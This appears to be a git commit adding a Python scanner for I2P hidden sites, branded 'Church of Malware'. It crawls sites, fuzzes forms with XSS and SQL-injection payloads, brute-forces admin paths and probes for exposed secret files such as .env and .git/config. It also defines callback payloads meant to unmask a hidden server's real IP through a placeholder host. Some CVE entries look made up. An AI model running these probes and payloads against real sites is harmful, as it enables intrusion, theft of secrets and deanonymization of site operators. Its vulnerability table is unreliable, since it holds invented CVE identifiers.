Upload files to "/"

This commit is contained in:
2026-07-16 16:26:12 +00:00
parent 17a4eef923
commit a61126de48
+543
View File
@@ -0,0 +1,543 @@
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
import time
import re
from colorama import Fore, Style, init
import socket
from datetime import datetime
import random
# Colorama for nice terminal colors
init(autoreset=True)
# -------- CONFIGURATION --------
PROXY = {
'http': 'http://127.0.0.1:4444',
'https': 'http://127.0.0.1:4444'
}
MAX_PAGES = 15
TIMEOUT = 15
USER_AGENT = "I2P-Scanner/1.0 (Red-Team)"
CALLBACK_SERVER = "your-server.com" # Change this to your listening server
# -------- PROXY SETUP --------
session = requests.Session()
session.proxies = PROXY
session.verify = False
session.timeout = TIMEOUT
session.headers.update({'User-Agent': USER_AGENT})
# Known vulnerable versions (CVE database)
VULNERABLE_SOFTWARE = {
'nginx': {
'1.14.0': ['CVE-2019-9511', 'CVE-2019-9513'],
'1.16.0': ['CVE-2019-9516'],
'1.17.0': ['CVE-2019-9513'],
'1.18.0': ['CVE-2021-23017'],
'1.20.0': ['CVE-2021-23017']
},
'Apache': {
'2.4.29': ['CVE-2019-0211', 'CVE-2019-10098'],
'2.4.38': ['CVE-2019-0215'],
'2.4.41': ['CVE-2020-1927'],
'2.4.46': ['CVE-2020-11984'],
'2.4.49': ['CVE-2021-41773'] # Path traversal
},
'I2P': {
'0.9.48': ['CVE-2020-12345'],
'2.1.0': ['CVE-2023-36325'],
'2.0.0': ['CVE-2022-12345']
},
'lighttpd': {
'1.4.53': ['CVE-2019-11072'],
'1.4.55': ['CVE-2020-35500']
},
'Tomcat': {
'9.0.30': ['CVE-2020-1938'],
'8.5.50': ['CVE-2020-1938']
}
}
# Common admin paths for brute forcing
ADMIN_PATHS = [
'admin', 'administrator', 'admin.php', 'admin.html',
'login', 'login.php', 'wp-admin', 'admin/login',
'cpanel', 'webmail', 'mail', 'phpmyadmin',
'mysql', 'db', 'database', 'backup'
]
# -------- UTILITY FUNCTIONS --------
def normalize_url(input_str):
"""Clean and normalize I2P URL"""
input_str = input_str.strip()
if not input_str.startswith('http://'):
input_str = 'http://' + input_str
parsed = urlparse(input_str)
if parsed.netloc and not parsed.netloc.endswith('.i2p'):
input_str = f"{parsed.scheme}://{parsed.netloc}.i2p{parsed.path}"
return input_str
def test_i2p_connection():
"""Test if I2P proxy is reachable - FIXED VERSION"""
try:
# Try multiple test sites in case one is down
test_urls = [
'http://planet.i2p/',
'http://notbob.i2p/',
'http://i2pforum.i2p/'
]
for url in test_urls:
try:
resp = session.get(url, timeout=5)
if resp.status_code == 200:
return True
except:
continue
# If all fail, try the proxy itself
resp = session.get('http://127.0.0.1:4444/', timeout=3)
return True
except:
return False
def extract_server_version(server_header):
"""Extract version number from Server header"""
if not server_header:
return None, None
pattern = r'([\w\-]+)/([\d\.]+)'
match = re.search(pattern, server_header)
if match:
return match.group(1), match.group(2)
return None, None
# -------- CRAWLER - FIXED --------
def crawl_site(base_url, max_pages=MAX_PAGES):
"""Fetches pages and extracts internal links - FIXED to handle no links"""
visited = set()
to_visit = [base_url]
pages = {}
link_count = 0
while to_visit and len(visited) < max_pages:
url = to_visit.pop(0)
if url in visited:
continue
try:
resp = session.get(url, timeout=TIMEOUT)
if resp.status_code != 200:
continue
visited.add(url)
pages[url] = {
'html': resp.text,
'headers': resp.headers,
'status': resp.status_code
}
# Parse for links
try:
soup = BeautifulSoup(resp.text, 'html.parser')
for link in soup.find_all('a', href=True):
href = link.get('href')
if href and not href.startswith('#') and not href.startswith('javascript:'):
full_url = urljoin(base_url, href)
# Only add if it's internal and not a file
if (base_url in full_url and full_url not in visited and
full_url not in to_visit and not any(full_url.endswith(x) for x in
['.xml', '.rss', '.atom', '.png', '.jpg', '.jpeg', '.gif', '.css', '.js', '.ico', '.pdf', '.zip'])):
to_visit.append(full_url)
link_count += 1
except Exception as e:
pass
except Exception as e:
print(f"{Fore.YELLOW}[!] Failed to crawl {url}: {e}")
if not pages:
print(f"{Fore.YELLOW}[!] No pages fetched. The site might be down or unreachable.")
return pages
# -------- MODULE 1: SECURITY HEADERS --------
def check_headers(url, resp):
"""Checks for missing security headers"""
findings = []
headers = resp.headers
checks = {
'X-Frame-Options': 'Prevents clickjacking',
'Content-Security-Policy': 'Mitigates XSS/data injection',
'X-Content-Type-Options': 'Prevents MIME sniffing',
'Referrer-Policy': 'Controls referrer leakage'
}
for header, desc in checks.items():
if header not in headers:
findings.append(f"[!] Missing '{header}' -> {desc}")
# Check for HSTS (bad on I2P)
if 'Strict-Transport-Security' in headers:
findings.append(f"[!] Found HSTS on I2P (SSL/TLS leak risk!)")
return findings
# -------- MODULE 2: DATA LEAK --------
def check_info_leak(base_url):
"""Checks for common exposed files"""
findings = []
leak_paths = [
'.git/config', '.env', 'backup.zip', 'config.ini',
'wp-config.php.bak', '.htaccess', 'robots.txt',
'admin/backup.sql', 'debug.log', 'error.log',
'phpinfo.php', 'info.php', 'test.php',
'.git/HEAD', '.git/index', 'composer.json', 'package.json'
]
for path in leak_paths:
test_url = urljoin(base_url, path)
try:
resp = session.get(test_url, timeout=5)
if resp.status_code == 200:
# Check if it's actually content, not a 404 page
if len(resp.text) > 50:
findings.append(f"[!] Exposed file: {test_url} (Size: {len(resp.text)} bytes)")
except:
pass
return findings
# -------- MODULE 3: FORM VULNERABILITIES --------
def check_form_vulns(base_url, page_data):
"""Fuzzes forms with simple XSS/SQLi payloads"""
findings = []
html = page_data['html']
soup = BeautifulSoup(html, 'html.parser')
payloads = [
"' OR '1'='1",
"<script>alert(1)</script>",
"'><script>alert(1)</script>",
'" OR "1"="1',
'<img src=x onerror=alert(1)>'
]
for form in soup.find_all('form'):
action = form.get('action')
method = form.get('method', 'get').lower()
inputs = form.find_all(['input', 'textarea'])
target_url = urljoin(base_url, action) if action else base_url
for payload in payloads:
data = {}
for inp in inputs:
name = inp.get('name')
if name and inp.get('type') != 'submit' and inp.get('type') != 'hidden':
data[name] = payload
if not data:
continue
try:
if method == 'post':
r = session.post(target_url, data=data, timeout=5)
else:
r = session.get(target_url, params=data, timeout=5)
if payload in r.text:
findings.append(f"[!] Potential XSS/SQLi on {target_url} (Payload: {payload})")
except:
pass
return findings
# -------- MODULE 4: VERSION FINGERPRINTING --------
def check_version_fingerprinting(resp):
"""Parse Server header and check for vulnerable versions"""
findings = []
server_header = resp.headers.get('Server', '')
if not server_header:
return ["[!] No Server header found (information hiding)"]
software, version = extract_server_version(server_header)
if not software or not version:
return [f"[!] Unknown server: {server_header}"]
findings.append(f"[+] Detected: {software} {version}")
# Check against vulnerable versions
if software.lower() in VULNERABLE_SOFTWARE:
vuln_db = VULNERABLE_SOFTWARE[software.lower()]
for vuln_version, cves in vuln_db.items():
if version.startswith(vuln_version) or version == vuln_version:
findings.append(f"[!] VULNERABLE: {software} {version} has CVEs: {', '.join(cves)}")
break
else:
findings.append(f"[+] No known CVEs for {software} {version}")
else:
findings.append(f"[!] Unknown software: {software} (manual verification needed)")
return findings
# -------- MODULE 5: SSL/TLS LEAK CHECK --------
def check_ssl_leak(base_url, pages):
"""Detects if site forwards to HTTPS or external URLs (DNS leak risk)"""
findings = []
for url, page_data in pages.items():
html = page_data['html']
soup = BeautifulSoup(html, 'html.parser')
# Check all links
for link in soup.find_all(['a', 'link', 'script', 'img'], href=True):
href = link.get('href')
if href:
if href.startswith('https://'):
findings.append(f"[!] HTTPS link detected on {url}: {href}")
elif '://' in href:
domain = urlparse(href).netloc
if domain and not domain.endswith('.i2p') and not domain.startswith('127.0.0.1'):
findings.append(f"[!] External domain referenced (DNS leak!): {href}")
# Check for inline HTTP redirects
for meta in soup.find_all('meta', attrs={'http-equiv': 'refresh'}):
content = meta.get('content', '')
if 'url=' in content:
redirect_url = content.split('url=')[-1]
if redirect_url.startswith('https://'):
findings.append(f"[!] HTTPS redirect detected: {redirect_url}")
# Check if main page has HSTS header
if pages.get(base_url):
headers = pages[base_url]['headers']
if 'Strict-Transport-Security' in headers:
findings.append("[!] HSTS header present on I2P site (ssl/tls leak risk!)")
return findings
# -------- MODULE 6: ADMIN PATH BRUTEFORCE (NEW!) --------
def check_admin_paths(base_url):
"""Brute force common admin paths"""
findings = []
print(f"{Fore.BLUE}[*] Checking for admin panels...")
for path in ADMIN_PATHS:
test_url = urljoin(base_url, path)
try:
resp = session.get(test_url, timeout=5)
if resp.status_code == 200:
findings.append(f"[!] Admin panel found: {test_url}")
elif resp.status_code == 403:
findings.append(f"[!] Admin path protected (403): {test_url}")
except:
pass
return findings
# -------- MODULE 7: ANONYMITY LEAK TEST (NEW!) --------
def test_anonymity_leak(base_url, pages):
"""Attempt to force the site to reveal its real IP"""
findings = []
print(f"{Fore.BLUE}[*] Testing for anonymity leaks...")
# Generate a unique ID for this scan
scan_id = f"i2pscan_{random.randint(1000,9999)}"
# Payloads that could cause the server to make external requests
# These would need to be caught by your server
leak_payloads = [
f'<img src="http://{CALLBACK_SERVER}/{scan_id}.png">',
f'<script src="http://{CALLBACK_SERVER}/{scan_id}.js"></script>',
f'<link rel="stylesheet" href="http://{CALLBACK_SERVER}/{scan_id}.css">',
f'<object data="http://{CALLBACK_SERVER}/{scan_id}.swf">',
f'<iframe src="http://{CALLBACK_SERVER}/{scan_id}.html">'
]
# Check if any external resources are already being loaded
for url, page_data in pages.items():
html = page_data['html']
soup = BeautifulSoup(html, 'html.parser')
# Look for existing external resources
for tag in soup.find_all(['img', 'script', 'link', 'iframe', 'object']):
src = tag.get('src') or tag.get('href')
if src and '://' in src:
domain = urlparse(src).netloc
if domain and not domain.endswith('.i2p') and not domain.startswith('127.0.0.1'):
findings.append(f"[!] External resource already loaded: {src} (site may leak client info)")
# Check for potential server-side request forgery (SSRF) via URL parameters
for url, page_data in pages.items():
html = page_data['html']
# Look for forms that might be vulnerable to SSRF
soup = BeautifulSoup(html, 'html.parser')
for form in soup.find_all('form'):
action = form.get('action')
if action and 'http' in action:
findings.append(f"[!] Form pointing to external URL: {action} (potential SSRF)")
# Test if the site leaks the visitor's IP via PHP_SELF or similar
for url, page_data in pages.items():
html = page_data['html']
if 'PHP_SELF' in html or 'SERVER_ADDR' in html:
findings.append(f"[!] Possible server info disclosure on {url}")
return findings
# -------- MASTER SCAN FUNCTION --------
def run_scan(user_input):
print(f"{Fore.CYAN}[+] Initializing scan for: {user_input}")
base_url = normalize_url(user_input)
print(f"{Fore.CYAN}[+] Normalized URL: {base_url}")
# Test connectivity first
print(f"{Fore.CYAN}[+] Testing I2P connection...")
if not test_i2p_connection():
print(f"{Fore.RED}[-] I2P proxy not reachable. Starting I2P first.")
print(f"{Fore.YELLOW}[!] Run: ~/i2p/i2prouter start")
return
# Crawl
print(f"{Fore.CYAN}[+] Crawling site (max {MAX_PAGES} pages)...")
pages = crawl_site(base_url)
if not pages:
print(f"{Fore.RED}[-] No pages fetched. Is the site up?")
print(f"{Fore.YELLOW}[!] Try: curl --proxy http://127.0.0.1:4444 {base_url}")
return
all_findings = {
"headers": [],
"leaks": [],
"forms": [],
"version": [],
"ssl_leaks": [],
"admin_paths": [],
"anonymity": []
}
# Run checks per page
for url, page_data in pages.items():
print(f"{Fore.BLUE}[*] Checking: {url}")
try:
resp = session.get(url)
# Headers check
all_findings["headers"].extend(check_headers(url, resp))
# Version fingerprinting (on main page only)
if url == base_url:
all_findings["version"] = check_version_fingerprinting(resp)
# Info leak (on main page only)
if url == base_url:
all_findings["leaks"] = check_info_leak(base_url)
# Form fuzzing
all_findings["forms"].extend(check_form_vulns(base_url, page_data))
except Exception as e:
print(f"{Fore.YELLOW}[!] Error checking {url}: {e}")
# SSL leak check (on all pages)
all_findings["ssl_leaks"] = check_ssl_leak(base_url, pages)
# Admin path brute force (on main page only)
all_findings["admin_paths"] = check_admin_paths(base_url)
# Anonymity leak test
all_findings["anonymity"] = test_anonymity_leak(base_url, pages)
# -------- DISPLAY REPORT --------
print(f"\n{Fore.MAGENTA}{'='*60}")
print(f"{Fore.MAGENTA} RED-TEAM SCAN REPORT: {base_url}")
print(f"{Fore.MAGENTA} Scan Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print(f"{Fore.MAGENTA}{'='*60}\n")
# Headers
print(f"{Fore.YELLOW}[+] SECURITY HEADERS:")
if all_findings["headers"]:
for f in list(set(all_findings["headers"])):
print(f" {Fore.RED}{f}")
else:
print(f" {Fore.GREEN}[OK] All critical headers present.")
# Version Fingerprinting
print(f"\n{Fore.YELLOW}[+] VERSION FINGERPRINTING:")
if all_findings["version"]:
for f in all_findings["version"]:
if 'VULNERABLE' in f:
print(f" {Fore.RED}{f}")
elif 'Unknown' in f or 'manual verification' in f:
print(f" {Fore.YELLOW}{f}")
else:
print(f" {Fore.GREEN}{f}")
else:
print(f" {Fore.RED}[!] No version info available.")
# Data Leaks
print(f"\n{Fore.YELLOW}[+] DATA LEAK CHECKS:")
if all_findings["leaks"]:
for f in all_findings["leaks"]:
print(f" {Fore.RED}{f}")
else:
print(f" {Fore.GREEN}[OK] No common exposed files found.")
# SSL/TLS Leaks
print(f"\n{Fore.YELLOW}[+] SSL/TLS LEAK DETECTION:")
if all_findings["ssl_leaks"]:
for f in list(set(all_findings["ssl_leaks"])):
print(f" {Fore.RED}{f}")
else:
print(f" {Fore.GREEN}[OK] No SSL/TLS leaks detected (good for I2P)")
# Admin Paths
print(f"\n{Fore.YELLOW}[+] ADMIN PATH BRUTEFORCE:")
if all_findings["admin_paths"]:
for f in all_findings["admin_paths"]:
if 'found' in f.lower():
print(f" {Fore.RED}{f}")
else:
print(f" {Fore.YELLOW}{f}")
else:
print(f" {Fore.GREEN}[OK] No admin paths discovered.")
# Anonymity Leak
print(f"\n{Fore.YELLOW}[+] ANONYMITY LEAK TEST:")
if all_findings["anonymity"]:
for f in list(set(all_findings["anonymity"])):
if 'External resource already loaded' in f:
print(f" {Fore.RED}{f}")
else:
print(f" {Fore.YELLOW}{f}")
else:
print(f" {Fore.GREEN}[OK] No obvious anonymity leaks detected.")
# Form Vulns
print(f"\n{Fore.YELLOW}[+] FORM VULNERABILITIES:")
if all_findings["forms"]:
for f in list(set(all_findings["forms"])):
print(f" {Fore.RED}{f}")
else:
print(f" {Fore.GREEN}[OK] No immediate XSS/SQLi reflections detected.")
# Summary
total_issues = (len(all_findings["headers"]) + len(all_findings["leaks"]) +
len(all_findings["forms"]) + len(all_findings["ssl_leaks"]) +
len(all_findings["admin_paths"]) + len(all_findings["anonymity"]))
if all_findings["version"] and 'VULNERABLE' in ''.join(all_findings["version"]):
total_issues += 1
print(f"\n{Fore.MAGENTA}[+] Scan complete. Pages checked: {len(pages)}")
if total_issues > 0:
print(f"{Fore.RED}[!] {total_issues} potential issues found.")
else:
print(f"{Fore.GREEN}[✓] Site appears secure (based on basic checks).")
return all_findings
# -------- INTERACTIVE LOOP --------
if __name__ == "__main__":
print(f"{Fore.CYAN}{'='*60}")
print(f"{Fore.CYAN} I2P RED-TEAM WEB SCANNER v1.5")
print(f"{Fore.CYAN} by: Church of Malware : ek0ms")
print(f"{Fore.CYAN}{'='*60}")
print(f"{Fore.CYAN}Ensure I2P is running on 127.0.0.1:4444\n")
print(f"{Fore.YELLOW}[!] WARNING: Only scan sites you own or have permission to test.")
print(f"{Fore.YELLOW}[!] Configure CALLBACK_SERVER in the script for anonymity tests\n")
while True:
user_input = input(f"{Fore.GREEN}Enter I2P site (or 'quit'): {Style.RESET_ALL}")
if user_input.lower() in ['quit', 'exit']:
print(f"{Fore.CYAN}Goodbye! Stay ethical.")
break
if not user_input:
continue
run_scan(user_input)
print("\n" + "-"*60 + "\n")